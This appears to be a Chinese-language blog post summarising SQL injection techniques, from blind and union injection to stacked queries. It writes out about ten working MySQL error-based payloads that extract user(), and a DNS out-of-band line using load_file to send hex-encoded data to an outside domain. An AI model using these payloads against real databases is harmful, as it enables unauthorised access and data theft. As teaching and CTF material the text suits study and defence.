0%

sql注入总结

总结一下常见的几种sql注入的手段

一般的经典注入

 几乎所有的注入漏洞产生的根本原因都是系统将用户提交的数据当作指令进行执行. 系统没有对用户提交的参数做好过滤, 导致用户可以通过某些手段拼接逃逸出参数的范围, 让系统将剩余的部分参数作为指令执行.

布尔盲注

 这个算是最经典的注入方法, 产生的必要条件是当前查询语句的结果会影响当前页面的输出. 用户通过字符串拼接逃逸出参数范围后通过执行特定的查询语句来查表, 然后通过字符串截取和字符比较来更改查询结果, 通过页面的显示不同确定是否猜中当前位置字符. 从而一位一位的猜测出执行语句的执行结果.
 这种方法需要的查询次数非常多, 一般是通过写脚本用二分法实现. 当然也有通过BP的intruder模块来爆破发包实现的.

时间盲注

 时间盲注的原理和上面的布尔盲注一样, 不过不要求当前页面在返回不同查询结果时是否存在区别. 但是对网络环境的要求比较高, 和对方的网络连接需要比较稳定, 否则会造成注入的结果出错.
 原理是通过拼接字符串, 利用if来让服务器选择执行类似sleep(n)这样的指令暂停一段时间. 通过服务器返回结果的时间长短来判断走入了哪个选择分支. 一般利用的是if()方法和sleep()方法. 当然也有类似于利用benchmark(1000, md5(‘xxx’))这种让系统重复执行多次复杂方法来达成延时的. 不过这种会造成服务器负载升高. 与前一种类似, 还可以利用from语句来执行大量的笛卡尔积计算来拖慢速度, 让我们能够看出延时.

union select联合注入

 这种注入需要的条件比上面的两种高一点, 需要目标能够显示查询的结果, 也就是有当前页面的显示位置. 然后我们可以拼接字符串, 让正常的查询返回结果为空, 再利用union select来确定哪些显示位置是我们可用的. 之后就利用可用的显示位来显示查询结果.

报错注入

 要求数据库在查询失败的时候会返回报错信息. 利用一些sql的语句执行时产生的报错, 把查询结果带出来到前端. 常用的有以下几种:

  • floor()
    • select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
    • 由于sql在进行group by操作的时候会多次计算floor()函数的值, 利用其会产生重复随机数的特性让group by生成的新表主键冗余从而报错.
  • extractvalue()
    • select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
    • 该函数用于进行xml查询. 我们使查询的关键词不符合xml语法即可报错
  • updatexml()
    • select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
    • 同上, 使用不规范的xml语法产生报错.
  • geometrycollection()
    • select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
    • 该函数用于绘图, 利用传入一个非法的空几何坐标导致报错.
  • multipoint()
    • select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
    • 同上
  • polygon()
    • select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
    • 同上
  • multipolygon()
    • select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
    • 同上
  • linestring()
    • select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
    • 同上
  • multilinestring()
    • select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
    • 同上
  • exp()
    • select * from test where id=1 and exp(~(select * from(select user())a));
    • 利用exp()函数在超过710的时候就会报溢出错误的特性进行double查询报错.

      总结

       报错注入说白了就是利用sql中那些会报错的函数, 故意触发报错机制让待查的信息包含在报错信息中输出给攻击者.

      骚一点的注入

       这种注入一般出现在ctf比赛中, 常规的站要么有注入要么没注入的, 这么骚的路子感觉走窄了

      堆叠注入

       根据服务器环境的不同, 服务器可以拼接执行来自用户的多条语句. 例如强网杯的那题随便注.
       通过重命名当前数据库的表名实现查询到其他表中的内容. 不过一般环境中应该很难碰到这种限制了一堆但是放过了;这种的环境吧.

      通过DNS带出回显

       当DBMS中存在可用的,能直接或间接进行dns请求过程的子程序时可用.
       这种就有实践意义了, 通过sql语句执行dns查询, 拼接执行形如if((select load_file(concat('\\\\',(selecthex(user())),'.sern.site\\a'))),1,1)的语句, 我们就能在我们的dns服务器上接到查询请求, 从而得到敏感信息. 当服务器的请求没有回显且ban了sleep函数, 同时又不想用benchmark闹得动静太大时就可以用这个骚操作.